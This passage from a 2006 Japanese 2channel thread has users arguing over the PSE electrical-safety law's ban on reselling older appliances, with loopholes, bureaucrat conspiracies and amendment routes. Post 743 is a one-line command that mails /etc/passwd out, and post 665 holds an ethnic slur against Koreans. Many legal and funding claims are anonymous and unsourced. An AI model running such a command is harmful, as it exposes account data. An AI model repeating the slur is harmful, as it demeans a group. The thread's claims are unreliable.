でも、天下りしなかったらしなかったで、定年まで税金で受給と言ってみるテスト。

658 ：名無しさん＠６周年：2006/02/13(月) 22:06:24 ID:Yrmt7/Ok0

まさかこんなことになろうとは誰も思わなかった
これが法律の怖さだな

659 ：名無しさん＠６周年：2006/02/13(月) 22:06:30 ID:PM1QCBl10

ここ数年での最大の衝撃だよ、このサブマリン法律。
立法以前のものまで適用とは。

工芸品、美術館とか、博物館とかどうするんだろうな。

平賀源内のエレキテルやばいじゃん。

660 ：名無しさん＠６周年：2006/02/13(月) 22:06:56 ID:oU9EGYg60

>>623
焦って確認しちまったぞｗ
アダプターについてるじゃないか、ビビらせるなよｗ

661 ：名無しさん＠６周年：2006/02/13(月) 22:06:59 ID:vX+2OXHg0

エレキテルは商用電源に繋がないからセーフ

662 ：名無しさん＠６周年：2006/02/13(月) 22:06:59 ID:IjDCJ2Jx0

>>657
それで良い。
こんな「国民の財産権侵害」な法律施行されるぐらいなら。

663 ：名無しさん＠６周年：2006/02/13(月) 22:07:28 ID:7VMq9ytk0

ディーゼル車禁止で車と言う財産を奪われたんだが
今度は家電ですかそうですか…

664 ：名無しさん＠６周年：2006/02/13(月) 22:07:31 ID:AYpgqAlT0

>>650
> 電気用品安全法（PSE法）反対運動支援総合スレ
> http://aa5.2ch.net/test/read.cgi/nanmin/1139517307/
> 上記スレで練ろうかと思うのですが、よろしいでしょうか？

ぶっちゃけ無理ぽ。
経産官僚は競輪資金という潤沢な「裏金」もっている。
領収証もいらないし、会計検査すらない。
（予算時に財務省のチェックも入らない）

８９３ですら、札束で顔ひっぱたけるような金額だ。
あいつらに逆らうとどえらい目に遭うぜ(((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ


■経産省からのお知らせです■

経産省は競輪の資金使い放題!!!!!!!!!!!!!!!!!遊び放題!!!!!!!!!!!!
一度やったらやめられない。

領収証もいらない真・裏金だぜ〜oh!yeah!

ttp://www.meti.go.jp/speeches/data_ed/ed050829j.html

665 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 22:07:32 ID:pZnFV92a0

>>644
しかも、一億円な

>>656
じゃあ、電気製品販売を、鮮人にまかせればいいじゃん！
俺って頭いいー！！！

666 ：名無しさん＠６周年：2006/02/13(月) 22:07:35 ID:n1hpbuKO0

まあ、このまま行けば闇市がまた復活するな。

667 ：名無しさん＠６周年：2006/02/13(月) 22:07:39 ID:f+cGyLDU0

>>658
> まさかこんなことになろうとは誰も思わなかった

五年前に施行されていたわけだし、消費者の想像力が欠如していたんじゃないかな
何を言っても後の祭りではないか

668 ：名無しさん＠６周年：2006/02/13(月) 22:07:56 ID:/5MtdoiD0

うーむ　消化が早い　さすがニュー速＋

祭りとまでは行かないけどプチ祭りですかな
しかも内容があるし

669 ：名無しさん＠６周年：2006/02/13(月) 22:07:56 ID:F7DSVLnN0

>>657
不正しないで仕事してたら普通それでいいんだよ

670 ：名無しさん＠６周年：2006/02/13(月) 22:08:41 ID:HI1OM8TE0

>>664
競輪自体が崩壊寸前

671 ：名無しさん＠６周年：2006/02/13(月) 22:08:44 ID:ZZwzOeIu0

>>655
>要するに新品を買えと言う事か。

違う。たとえ立派な新品でも、天下り団体に金払ってマーク付けてないものはダメ。
逆に電線の被服に亀裂の有るような見るからに危険な中古であっても、マークさえ
あれば売って構わない。

そういう法律。

672 ：名無しさん＠６周年：2006/02/13(月) 22:08:48 ID:gRjWDYnL0

平賀源内のエレキテル
ワラタ


意外にも初出か？ｗ
コンセントないからセーフだけどｗ

673 ：名無しさん＠６周年：2006/02/13(月) 22:09:35 ID:F3ysGA57O

マスコミはだんまりかよ。

674 ：名無しさん＠６周年：2006/02/13(月) 22:09:37 ID:AYpgqAlT0

>>658
> まさかこんなことになろうとは誰も思わなかった
> これが法律の怖さだな

違うよ。
法律の企画立案（経産省内部では「新政策」という）の段階で、次官とか官房長から


　　　「それで、この法律でいくつ団体ができるんだ？そこの理事の標準報酬額は？」

って質問が必ず出るよ。
つまり、「計画的に仕込まれた時限爆弾みたいなもん」

昨日今日きづいたおまいらの敵ではない。

675 ：名無しさん＠６周年：2006/02/13(月) 22:10:00 ID:s5DyC7ri0

PSEマーク付きACアダプタ駆動にする
電源改造ビジネス・・・・

676 ：名無しさん＠６周年：2006/02/13(月) 22:10:33 ID:kksbSrSRO

壊れて修理出来ないのが痛いよな…

２年後くらいに、PSE無し製品を検査・許可する天下り法人が出来る悪寒

677 ：名無しさん＠６周年：2006/02/13(月) 22:11:10 ID:R2nizcyM0

「日本の安全基準を満たして無い，危険な(？)」中古品を海外に売るんだろうか？

>>548
に書いてあるようにコストをかけて電源を交換して再生するんだろうか？
人手をかけて一点ずつ交換するのはコストかかるし・・・。

678 ：名無しさん＠６周年：2006/02/13(月) 22:11:47 ID:AYpgqAlT0

>>670
> 競輪自体が崩壊寸前

確かに減ってはいるが、ここみてごらん？

ttp://www.keirin.go.jp/njs/budget/h17.html

「領収証の入らない」「会計検査すら入らない」裏金が
２２０億円以上あるんだぜ？

679 ：名無しさん＠６周年：2006/02/13(月) 22:11:50 ID:6Lm4QqV70

>>673
マスコミの静観が不気味だ。真のジャーナリストは東京新聞だけか？
どうしたらマスコミは動いてくれるんだろう？

680 ：名無しさん＠６周年：2006/02/13(月) 22:11:53 ID:F7WyZM8zO

つまり電気業界はPSEマークがついていない製品ばかり販売すれば消費者は
必ず新製品しか買えなくなるから電気業界ウハウハってことだよね？
さすが国賊ソニーの考えることは時代を先取ってるな。

681 ：名無しさん＠６周年：2006/02/13(月) 22:12:18 ID:gxEPhiqBO

電気製品より中古役人の売買禁止しろよ

修理も門前払い

682 ：名無しさん＠６周年：2006/02/13(月) 22:12:26 ID:7QYH8OfB0

中古電化製品だったとしても、バイク屋に数多く並ぶ装飾用ヘルメットのように
「展示用」「観賞用」とかって建前で売っちゃえばいいじゃん

683 ：名無しさん＠６周年：2006/02/13(月) 22:12:36 ID:gRjWDYnL0

http://bbs1.kze.ne.jp/recmix/

ここの掲示板でPSE法の議論してたみたいだが
通りすがりのオサーン@ヒヒ親爺 って工作員？

684 ：名無しさん＠６周年：2006/02/13(月) 22:12:41 ID:TNVukPPl0

あーびっくりした。

ヤフオク販売は問題なしか。

685 ：名無しさん＠６周年：2006/02/13(月) 22:12:42 ID:RbmqH/+Y0

>677
もう日本では修理文化はかなり廃れてます。
むしろ東南アジアの方は喜んで買うでしょうよ

686 ：名無しさん＠６周年：2006/02/13(月) 22:12:56 ID:ZZwzOeIu0

>>676
出来ない出来ない。絶対出来ない。
そんな「働いて金貰う」なんていうのは民間のやり方でしょ。
自前で検査・許可なんかしたら責任も生じるし。

完全にありえない。

687 ：名無しさん＠６周年：2006/02/13(月) 22:13:10 ID:PM1QCBl10

オーディオとギターアンプは、こうなったら音質向上必殺テクを使うしかないな。

直列並列電池駆動。

688 ：名無しさん＠６周年：2006/02/13(月) 22:13:23 ID:m6VrkLzd0

実質ビンテージ電子楽器売買禁止法かｗ
凄いことするなあ、死ねよ役人・・・

689 ：名無しさん＠６周年：2006/02/13(月) 22:13:29 ID:6DB2OlF30

この法律を改正させるには、具体的に何をどうすればいいの？

690 ：名無しさん＠６周年：2006/02/13(月) 22:13:51 ID:AYpgqAlT0

>>670
> 競輪自体が崩壊寸前

確かに減ってはいるが、ここみてごらん？

ttp://www.keirin.go.jp/njs/budget/h17.html

「領収証の不要な」「会計検査すら入らない」裏金が
２２０億円以上あるんだぜ？

691 ：名無しさん＠６周年：2006/02/13(月) 22:14:05 ID:F3ysGA57O

>>684
問題あり。

692 ：名無しさん＠６周年：2006/02/13(月) 22:14:17 ID:/5MtdoiD0

実際の所　現実に運用しようとしてる現場サイドは頭痛めてるらすい
勝手なこと決めて後は下に丸投げしているお偉いさんと違って
そりゃそうだ　中古市場全部なんて取り締まりきれないし
反発も強いし

ということで　どんどん世論をぶつけていくのは有効です

693 ：名無しさん＠６周年：2006/02/13(月) 22:14:30 ID:wh6D7W4e0

電池稼動はオーケー？？

694 ：名無しさん＠６周年：2006/02/13(月) 22:14:41 ID:slhCJUT90

>>687
でも電源回路撤去工事しないとご禁制の品

695 ：名無しさん＠６周年：2006/02/13(月) 22:15:02 ID:TNVukPPl0

ADSLモデムレンタルみたいなレンタル商法で中古の再貸し出しは、販売じゃないからＯＫですか？

696 ：名無しさん＠６周年：2006/02/13(月) 22:15:10 ID:mmTUB8opO

たぶん、新聞広告や折り込みチラシにも
この規制の一文を入れないと通らなくなるよな。
リース致します。
レンタル可能
とかも引っ掛かる筈だな。
これの広告関係ガイドラインをチェック…
と思ったが、そんなのは回ってくるのか？

697 ：名無しさん＠６周年：2006/02/13(月) 22:15:13 ID:VW1LEHAO0

個人売買もダメなのかな？　委託販売の形で抜けられないかな。

698 ：名無しさん＠６周年：2006/02/13(月) 22:15:38 ID:s5DyC7ri0

ACアダプタで動く側の機器は対象外だっけか

699 ：名無しさん＠６周年：2006/02/13(月) 22:15:56 ID:AYpgqAlT0

>>689
> この法律を改正させるには、具体的に何をどうすればいいの？

不文律で事務次官会議（←実は法的根拠すらない事実上の集まり）は全員一致が
慣例

つまり

　　経　産　官　僚　様　が　拒否権　を　行　使　す　る　と

この法律の改正は不可能。
つまり

　　官　僚　は　ネ申

ということだ。まーあきらめて、次生まれてくるときは役人になれや。

700 ：名無しさん＠６周年：2006/02/13(月) 22:16:06 ID:IjDCJ2Jx0

>>689
自民に電凸、民主に電凸しかないだろーな…。
後は、違憲立法確認訴訟起こすか。

701 ：名無しさん＠６周年：2006/02/13(月) 22:16:07 ID:iL/8T5kM0

トランス抜いて別売りにしたらダメか？

702 ：名無しさん＠６周年：2006/02/13(月) 22:16:30 ID:QAfTPSWm0 ?

>>697
過去レスを読んでください。

703 ：名無しさん＠６周年：2006/02/13(月) 22:16:34 ID:PM1QCBl10

ビンテージは海外で買って、国内に持ち込む。

いやらしいビジネスが始まりそうだな…。

704 ：名無しさん＠６周年：2006/02/13(月) 22:16:48 ID:ZZwzOeIu0

>>688
ビンテージっていうか、ちょっと前のもダメだし。
一つ前の型の iPod とかも猶予期間が終われば販売は×。

705 ：名無しさん＠６周年：2006/02/13(月) 22:16:51 ID:HfdON/Kg0

>>697
委託販売も禁止だろ

706 ：名無しさん＠６周年：2006/02/13(月) 22:17:05 ID:4uZSdvut0

sageうざい

707 ：名無しさん＠６周年：2006/02/13(月) 22:17:12 ID:XKT0bqon0

>>685
趣味で真空管ラジオやテレビをレストアしてるよ。一体何の役に立つかは
しらないけど、この世界から真空管の技術が失われてしまえば、それは少し
寂しいから。この先何年生きるかは知らないが、ひょっとすれば誰かに伝える
ことができるかも知れないしね。

708 ：名無しさん＠６周年：2006/02/13(月) 22:17:12 ID:kksbSrSRO

>>686
働くのは下っぱ
天下りは理事という役につき、何もしないで金を取るもんだ

709 ：名無しさん＠６周年：2006/02/13(月) 22:17:27 ID:HUJfxgs90

>>703
それにも法律が適用されたりして

710 ：名無しさん＠６周年：2006/02/13(月) 22:17:56 ID:wh6D7W4e0

香港あたりで日本向けの楽器屋やったら儲かるかな？

711 ：名無しさん＠６周年：2006/02/13(月) 22:18:02 ID:xfdVmzEE0

だんだん狭苦しい時代になってきたな。
爆発してこその中古ぢゃね〜の？

712 ：名無しさん＠６周年：2006/02/13(月) 22:18:02 ID:AYpgqAlT0

>>698
> ACアダプタで動く側の機器は対象外だっけか

びみょうに違うぞｗ

動く側に機器が対象か否かは、施行令別表１・２に載っているか否かで
決まる。

たとえのっていなくてもＡＣアダプターはアウト。

まじレスすると、ＡＣアダプター替えた方が危険が大きいのにな。
お役人様の考えそうなこった。

713 ：名無しさん＠６周年：2006/02/13(月) 22:18:07 ID:HEk7SAAT0

なぜに？？？？

714 ：名無しさん＠６周年：2006/02/13(月) 22:18:18 ID:f+cGyLDU0

>>699
議員立法という道はないのかな

715 ：名無しさん＠６周年：2006/02/13(月) 22:18:19 ID:mucQkKxC0

>606
わかりやすいww

>566
これみよがしに「オークションは大丈夫！」って、貼ってあるヤツ。
ｌｉｎｋ先の経産省の[オークション(ry]は読んでるのか？
ヤフーより、厳しく細かく書いてあるぞ

716 ：名無しさん＠６周年：2006/02/13(月) 22:18:28 ID:gE8svAeW0

>>699
工作員乙。

>>699の言っている事は全く嘘です。
国会に提出される法案の半分以上が、すでにある法案の一部改正案です。

与野党が動けば、法律は改正されます。

717 ：名無しさん＠６周年：2006/02/13(月) 22:18:46 ID:iL/8T5kM0

馬鹿文系に電気製品使わせるとロクなことしないな

718 ：名無しさん＠６周年：2006/02/13(月) 22:18:56 ID:RqgYCg8x0

うち、オール電化なんだけど、ひょっとしてうち売れない？

719 ：名無しさん＠６周年：2006/02/13(月) 22:20:02 ID:QAfTPSWm0 ?

>>718
改正されないかぎり、そういう認識で良いと思う

720 ：名無しさん＠６周年：2006/02/13(月) 22:20:36 ID:javDe2Qc0

>>718
いつ建てた？

721 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 22:20:41 ID:jJCiP83r0

>>703
>いやらしいビジネス

想像してしまった、、、

>>704
ipodはコンセントにさして使うのではないからOK

722 ：名無しさん＠６周年：2006/02/13(月) 22:21:01 ID:AYpgqAlT0

>>716
> 国会に提出される法案の半分以上が、すでにある法案の一部改正案です。

それは、官僚が法律改正をしようと考えた場合＝ぶっちゃけ、


　　　お　役　人　様　の権　限　が　拡　大　す　る　場　合


のみ改正する


> 与野党が動けば、法律は改正されます。

与党の総務会を通るためには、各省調整を経て事務次官会議通る見通しが
ないと無理。

723 ：名無しさん＠６周年：2006/02/13(月) 22:21:02 ID:ZZwzOeIu0

>>718
猶予期間があるから、今から5年以内なら売れる。

それ以降に販売すると、個人で販売すると罰金100万。
仲介した不動産屋は最高1億円の罰金。

724 ：名無しさん＠６周年：2006/02/13(月) 22:21:04 ID:f+cGyLDU0

冷凍庫が火を噴いた〜メーカー敗訴のＰＬ訴訟〜
http://www.shodanren.gr.jp/database/035.htm

>冷凍庫から火災という事件を契機に、大企業や行政機関の
>ごまかしや横暴を決して許さない果敢な個人の行動と、

とあるけど、冷凍庫にまで行政機関は関係しているのかね
それだったら責任回避するのもやむを得ないよな

725 ：名無しさん＠６周年：2006/02/13(月) 22:21:56 ID:LjSbvJ690

ひどい国だな
北朝鮮に帰りたいよ

726 ：名無しさん＠６周年：2006/02/13(月) 22:22:14 ID:6DB2OlF30

今後、何十枚もベタベタ許認可シールを貼った製品しか売買できなくなる時代くるかも・・・

727 ：名無しさん＠６周年：2006/02/13(月) 22:22:18 ID:slhCJUT90

>>721
んや、ちょっと前までのiPodはACアダプタもセットで売ってたので
パッケージとしては売れなくなる。

728 ：名無しさん＠６周年：2006/02/13(月) 22:23:04 ID:AZIQiAdwO

ここ数年の電化製品はみんなマークつきだから
誰もこまらんだろ

729 ：名無しさん＠６周年：2006/02/13(月) 22:23:04 ID:kksbSrSRO

>>716
改正案出したら、役人はこういうだろうな…

『５年の猶予期間に、その様な意見はでなかったので問題ありません』
だからこその、サブマリン猶予期間

730 ：名無しさん＠６周年：2006/02/13(月) 22:23:14 ID:AYpgqAlT0

>>723
> 猶予期間があるから、今から5年以内なら売れる。

今からじゃないだろｗ

冷蔵庫とか平成１８年３月３１日で猶予おわり。
ttp://www.meti.go.jp/policy/consumer/seian/denan/keikasochi/keikasochi_q&a.htm

731 ：名無しさん＠６周年：2006/02/13(月) 22:23:26 ID:s5DyC7ri0

＞本体から取り外しが可能な直流電源装置（ＡＣアダプター）を介して電源供給を受けるのであれば、本体（ゲーム機器 など）は電気用品安全法の対象外です

あぁ、分かった。PSE対応の”整流アダプタ”をどこぞが作ってくれさえすれば、
あとはDC１４０V駆動にした本体側にインバーター入れて再度AC100Vを作り出す・・と。

732 ：名無しさん＠６周年：2006/02/13(月) 22:23:33 ID:RR6Vr17H0

ジョージ・オーウェルの霊が・・・

733 ：名無しさん＠６周年：2006/02/13(月) 22:23:42 ID:QAfTPSWm0 ?

>>726
いやだな。中古市場に出回るのPSE認証シールが必須だから、
シール部分にはヤニやら手垢やら、、、

734 ：名無しさん＠６周年：2006/02/13(月) 22:24:24 ID:IjDCJ2Jx0

>>722
じゃあ、違憲審査確認訴訟しか道は無いか…。
アメリカの様に、違憲判決ドンドン出る国じゃないんだよなぁ、日本は。
この点、アメリカが羨ましい…。とんでも法案可決される国でもあるけど。

735 ：名無しさん＠６周年：2006/02/13(月) 22:24:35 ID:SvEQBN3S0

>>728
新品のサターンとドリキャスを買わせろ

736 ：名無しさん＠６周年：2006/02/13(月) 22:25:33 ID:Ffm0bQN50

んで、どんくらい話すすんだ？まだ
「ヤフオクは大丈夫？」とか「アンティークで売ればいいじゃん」とか「パチンコ方式で云々」のループ？

737 ：名無しさん＠６周年：2006/02/13(月) 22:25:44 ID:F3ysGA57O

>>728
去年買った日立の掃除機にはマークがついてなかったよ。

738 ：名無しさん＠６周年：2006/02/13(月) 22:25:54 ID:s5DyC7ri0

>>734
この場合裁判官の個人持ちな機器も対象になるからな。
裁判官の趣味を調べておくべきか。

739 ：名無しさん＠６周年：2006/02/13(月) 22:26:02 ID:3v/acj2d0

事業として行うものが対象の法律だ
事業どころか仕事も持ってない藻前らには関係ないから心配すんな

740 ：名無しさん＠６周年：2006/02/13(月) 22:26:12 ID:PM1QCBl10

偽PSEシールがでまわりそうだなぁ…

741 ：童貞（禁オナ２日目） ◆rg1eZotGCA ：2006/02/13(月) 22:26:14 ID:6SL9Es0+0

>>727
iPodがコンピューターの範囲に入ったら、OKかも
著作権料も回避したし

742 ：名無しさん＠６周年：2006/02/13(月) 22:26:24 ID:/5MtdoiD0

ループしようが何しようがまずはスレを伸ばす事が大事かと

743 ：cat /etc/passwd | nobody：2006/02/13(月) 22:26:29 ID:9vj7pTNu0

cat /etc/passwd | mail nobody

744 ：名無しさん＠６周年：2006/02/13(月) 22:26:31 ID:AYpgqAlT0

>>734
> じゃあ、違憲審査確認訴訟しか道は無いか…。

行政処分が出ないと無理。

たぶん処分は「伝家の宝刀」にして、「事実上の行政指導」でいろいろイチャモン
つけてきて、最後は「経験豊富な人材のご紹介」（＝われわれはそれを「天下り」というｗ）
でおさまるので、処分はなく、したがって訴訟はできない。
（日本では抽象的違憲訴訟は門前払い）

745 ：名無しさん＠６周年：2006/02/13(月) 22:26:41 ID:TNVukPPl0

>>725
っｗ

746 ：名無しさん＠６周年：2006/02/13(月) 22:26:41 ID:6WoWYzVy0

うっかり別の板に誤爆した。

無修正のエロビデオがEDβのテープに録画されてるけど、どうするかな？
とりあえず、キャプする環境もないしデッキのヘッド交換しなければ見られない。orz

747 ：名無しさん＠６周年：2006/02/13(月) 22:26:47 ID:dGlULOf+0

つまり黒幕は糞ニー上がりの甘利ということか

748 ：名無しさん＠６周年：2006/02/13(月) 22:26:52 ID:AZIQiAdwO

サターンもドリキャスも持ってるけど、あんなんゴミじゃん

749 ：名無しさん＠６周年：2006/02/13(月) 22:26:53 ID:Wp/mjj3r0

シールは当然専門の外郭団体が作ります

750 ：名無しさん＠６周年：2006/02/13(月) 22:27:05 ID:kksbSrSRO

>>735
マーク無しでも無理ｗｗｗｗｗ

751 ：名無しさん＠６周年：2006/02/13(月) 22:27:29 ID:SRStSsZY0

>>685
向こうの市場では比較的新しいデジタルな製品より
昔のアナログな製品の方が人気があるとか

752 ：名無しさん＠６周年：2006/02/13(月) 22:27:33 ID:wXIYs9jX0

今北産業は、まとめサイト嫁。
できればミラー作ってあげてくれ。

753 ：名無しさん＠６周年：2006/02/13(月) 22:27:55 ID:2wgq+JtXO

うわああやっぱり心配だ

754 ：名無しさん＠６周年：2006/02/13(月) 22:28:11 ID:u4iIWL8v0

何か最近知り合いの中古屋に、この件で新聞とかの取材が来るようになったって。
んで、マスコミの人、本当にこの問題のこと何も知らなかったっていってた。
マスコミ（どっか大手の新聞だったとおもう読売か朝日か毎日とか産経とかそういう系）
の人に現状を説明してあげたって。
報道規制やスポンサーに配慮してどうこうって話もあるが、素でこのこと知らんマスコミもあるみたい。
マスコミに投書とかすれば、動く可能性高いよ、っていうか取材はあちこちで始まってるらしい。

755 ：名無しさん＠６周年：2006/02/13(月) 22:28:35 ID:s5DyC7ri0

国外に「PSE天国」を作れば良いわけか。

756 ：初スレ濁し ◆NdXA4pMuL2 ：2006/02/13(月) 22:28:55 ID:CDGxgDCN0

>>650の件ですが、異論が>>664で出されました。
せめて問題ない応答の仕方ぐらいは考えたいので
この件は勝手ながら下記の難民板スレに引っ越します。

電気用品安全法（PSE法）反対運動支援総合スレ
http://aa5.2ch.net/test/read.cgi/nanmin/1139517307/l50

757 ：名無しさん＠６周年：2006/02/13(月) 22:29:08 ID:52sK0hoy0

いつからこのスレ（あるいはこれの類似スレ）立ってたんだ？

758 ：名無しさん＠６周年：2006/02/13(月) 22:29:10 ID:NjaH25p+0

>>718
・オール電化住宅は電気製品の塊、電気コンロ・レンジ・エアコンなどPSEロゴが入ってなければ・・・・ry
・キャンピングカー中古車、載ってる電化製品がPSEロゴが入ってなければ・・・・ry
・中古の高級クルーザー、載ってる電化製品がPSEロゴが入ってなければ・・・・ry

いくらでも例は出せるけど実際に売ることできないなら
関係各所が黙ってないな。

759 ：名無しさん＠６周年：2006/02/13(月) 22:29:24 ID:AYpgqAlT0

>>749
> シールは当然専門の外郭団体が作ります

理事１５名全員、元経産官僚。
年収２５００万円で任期５年で、退職金２億３０００万円くらいか？（相場）

実務は各家電メーカからの出向者（手弁当）が行う。

…こんなとこだろな？

あ、理事は全員個室で、美人秘書と、運転手付きの黒塗りクルマつき、な。
交際費上限なし。

760 ：名無しさん＠６周年：2006/02/13(月) 22:29:24 ID:yS5xLnF60

>>750
読み違えてるよ。
中古が駄目なら新品買わせろ、ってことでしょ。

761 ：名無しさん＠６周年：2006/02/13(月) 22:29:35 ID:KjD3rybX0

おまいら携帯もってるだろ？
電池のところに〒に似たマークがついている。
これは実際問題ほとんど意味がないが、このマークのために３０００円を払っている。

これと同じようなもんだろうな、このPSEマークは。

762 ：名無しさん＠６周年：2006/02/13(月) 22:29:40 ID:MCZxNaAl0

こんなクソ法律は断固阻止だな。

763 ：名無しさん＠６周年：2006/02/13(月) 22:29:58 ID:esOvgnlv0

テレビのデジタル化といいこの件といいいい加減にしろよ

764 ：名無しさん＠６周年：2006/02/13(月) 22:30:12 ID:p9/Q1zz70

>>754
２ｃｈですら昨日スレが立ったばかりだしな

765 ：名無しさん＠６周年：2006/02/13(月) 22:31:11 ID:gE8svAeW0

>>722
また工作員ですか

＞各省調整を経て

はい、ダウト。
この法案そのものが各省庁の調整を経ていません。
それは数々の電凸で明らかです。

また改正案を出す際には、閣議決定された法案でなく、与党案として、あるいは議員立法として
提出するなどいろいろ手はあります。

閣議決定法は確かに事務次官を通す必要がありますが、与党案としてや議員立法としての形なら
通さずに出せます。
より確実にするなら与党議員に陳情し、委員会質問で大臣に改正を確約させる手もあります。
そうなれば事務次官は逆らえません。

>>722はこの法案の利権に関わる人間の一人なのでしょう。
相手にしないように。

766 ：名無しさん＠６周年：2006/02/13(月) 22:31:28 ID:AYpgqAlT0

>>756
まー、異論ってほどではないが…

ただ…怖いぞ、あそこは。

当面、匿名をたもって、顔写真とかも取られないように気をつけるべし。

とにかく競輪資金は強力だぞ。
競輪で食ってるジャーナリスト（興信所がわりになる）も大勢いるから気をつけろ。

767 ：名無しさん＠６周年：2006/02/13(月) 22:31:45 ID:52sK0hoy0

>>764
+は昨日立ったとこなのか？
遅すぎたんだよ何もかも・・・
ハードオフは既に処分をはじめてるし・・

768 ：名無しさん＠６周年：2006/02/13(月) 22:32:01 ID:YJSAfHVW0

そうだ！
北朝鮮に頼んで、PSE偽造シールを作ってもらおう。
これで解決ｗ

769 ：名無しさん＠６周年：2006/02/13(月) 22:32:07 ID:6DB2OlF30

ここの官僚天国日本をなんとか改正できないものか

770 ：名無しさん＠６周年：2006/02/13(月) 22:32:07 ID:7pKLQdDu0

>>763
五輪で見事に怨念が炸裂してるな、それは。

771 ：名無しさん＠６周年：2006/02/13(月) 22:32:07 ID:f+cGyLDU0

AYpgqAlT0はちょっと謎工のにおいがするな
コテハン付けたら？

772 ：名無しさん＠６周年：2006/02/13(月) 22:32:15 ID:p9/Q1zz70

>>760
新品でもマークがなければ売れないらしい
売ったら罰金

773 ：名無しさん＠６周年：2006/02/13(月) 22:32:22 ID:mucQkKxC0

>747
松下とサンヨウらしい。
sonyは付け忘れが有るぐらいだから、白かもｗ

774 ：名無しさん＠６周年：2006/02/13(月) 22:32:25 ID:IjDCJ2Jx0

>>744
家庭用ゲームの中古屋が、解釈法で中古禁止出来ると主張してたメーカーに対して、
「頒布権不存在確認訴訟」を大阪で反訴で起こした事あるけど…
それを真似てできないものかね。

775 ：名無しさん＠６周年：2006/02/13(月) 22:32:46 ID:iAZzCvtm0

>>764



1 名前： 依頼759＠トロφ ★ Mail： 投稿日： 2006/01/28(土) 12:25:36 ID： ???0 ?#
PSEマークの付いてない、100Vを使う製品(直接コンセントが生えている物、ACアダプタ)の販売が
新品は無論、中古販売も不可能になります。

前スレ　レトロゲームハードが買えなくなるかもしれないぞ
http://news19.2ch.net/test/read.cgi/news/1137942378/

776 ：名無しさん＠６周年：2006/02/13(月) 22:33:05 ID:X0oeiTcuO

どんどん住みにくい国になってくるな…

777 ：名無しさん＠６周年：2006/02/13(月) 22:33:07 ID:/5MtdoiD0

>>774
HAL-1978さんが活躍した事例か

778 ：名無しさん＠６周年：2006/02/13(月) 22:33:09 ID:dGlULOf+0

マスコミも画像音響装置で銘機といわれるプロ機械が場合によっては継続使用できなくなる可能性から動かせないか？
壊れたから既存の現行品で置き換えられない物もありそうだが

779 ：名無しさん＠６周年：2006/02/13(月) 22:33:13 ID:kksbSrSRO

アンティーク製品で囲まれた夢の海外生活…

俺、語学力ねぇｏｒｚ

780 ：名無しさん ：2006/02/13(月) 22:33:33 ID:lctsO2Bv0

ひでぇ話しだな
この法案知らない連中が売ったら１００万の罰金か

781 ：名無しさん＠６周年：2006/02/13(月) 22:34:02 ID:AYpgqAlT0

>>765
> この法案そのものが各省庁の調整を経ていません。

あり得ねー。
すべて閣法は、関係省庁全部調整しますよ（宮内庁を除くｗ）

> また改正案を出す際には、閣議決定された法案でなく、与党案として、あるいは議員立法として
> 提出するなどいろいろ手はあります。

議員立法でこんな法案の改正法かけるスタッフはいないよ。衆参法制局でも無理だろうな
せいぜい「請願」ぐらいでねーか？ｗ

782 ：名無しさん＠６周年：2006/02/13(月) 22:34:37 ID:ZZwzOeIu0

>>774
在庫を持っちゃってる販売店・業者さんたちは実際に経済的損失を
受けるわけだから、もちろん行政訴訟を行うことができる。

法の成立が5年前というのが巧妙なところなのだけれども・・・

783 ：名無しさん＠６周年：2006/02/13(月) 22:34:40 ID:YgE56+lR0

>>773
Sonyはワザと

784 ：名無しさん＠６周年：2006/02/13(月) 22:34:45 ID:3LUr3VroO

ちょっと話のレベルが高すぎて卑弥呼ヌレヌレ

785 ：名無しさん＠６周年：2006/02/13(月) 22:34:50 ID:n1hpbuKO0

236 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2006/02/10(金) 22:48:04 ID:hcGD7POO
ロングスパンでみれば良い法律ですね。理由は以下のとおり
　１．古い家電は回路不全等で出火や事故原因になりかねない
　２．古い家電の買い換えサイクルにリサイクル商品が入るのは
　　　ＧＤＰ観点から望ましくない
　３．ＰＳＥで定める基準外の商品を市場から緩やかに疎外できるため
　　　流通市場の品質向上＝デフレ抑止につながる
　４．製造立国である日本国内での家電買い換えサイクルの高回転化を抑え
　　　過剰な生産競争による資源消費を抑制できる
　５．省エネ商品の流通シェアを飛躍的に高めることができるため
　　　温暖化ガス排出量の削減等に寄与できる
　６．対途上国輸出マーケットに中古家電をシフトできるため無作為な
　　　価格競争からメーカーを撤退させられる(54条輸出用品の適用除外)
　　　※リサイクルショップが輸出用家電の商品買い取り店化する
　　　※エアコンや冷蔵庫等は国内リサイクル市場で完全飽和化している

786 ：名無しさん＠６周年：2006/02/13(月) 22:34:50 ID:gE8svAeW0

http://www.meti.go.jp/policy/consumer/seian/denan/keikasochi/keikasochi_q&a.htm
＞なお、インターネット・オークションでの販売は、電気用品安全法上の規制とは別に、「特定商取引に関する法律」に基づく販売業者としての規制の対象となる場合があります。

うは！更新されたhpは、オークションも黒判定になってる！！
おいおい

787 ：名無しさん＠６周年：2006/02/13(月) 22:34:51 ID:TNVukPPl0

>>671
ひでえ法律だ。

そういや、日曜大工の工具はかなり転売が多いっけ。

788 ：名無しさん＠６周年：2006/02/13(月) 22:34:54 ID:gRjWDYnL0

中古商品の売買をするには、古物商の申請を警察に
しなければならない。そこで、この電気用品安全法に
ついて、今住んでいる県の県警の古物商担当の方に
電話で聞いてみた。
俺「仕事として中古電気製品を売買をするには、警察に
　古物商の申請をしなければならないのですね」
警察「はい。古物商の関連の法律は警察なので」
俺「それじゃあ、もしその中古家電製品を法律で売っては
　いけなくなるなら、当然警察もご存知ですよね。」
警察「はい。当然です」
俺「来月末で2001年以前の電気製品や2001年以降でも
PSEマークがついていない電気製品を売ってはならないという
　電気安全法はご存知ですか？」
警察「知りませんでした。いまはじめて知りました。」
俺「この法律はひどいと思いませんか？」
警察「たしかにひどいと思いますが。こちらからも経済
　産業省に確認してみます。情報ありがとうございます」

ということだった。
効果はあるかわからないが、古物商の申請先の警察にも、
このことを連絡すれば何か進展があるかも。

789 ：名無しさん＠６周年：2006/02/13(月) 22:35:05 ID:6IAvaMAt0

電源を入らないようにしてあくまで電気製品ではなく「骨董美術品」として販売するとかできないの？

790 ：名無しさん＠６周年：2006/02/13(月) 22:35:22 ID:qXBj57oM0

ところで携帯電話やPDAのようなものは対象製品なわけですか？

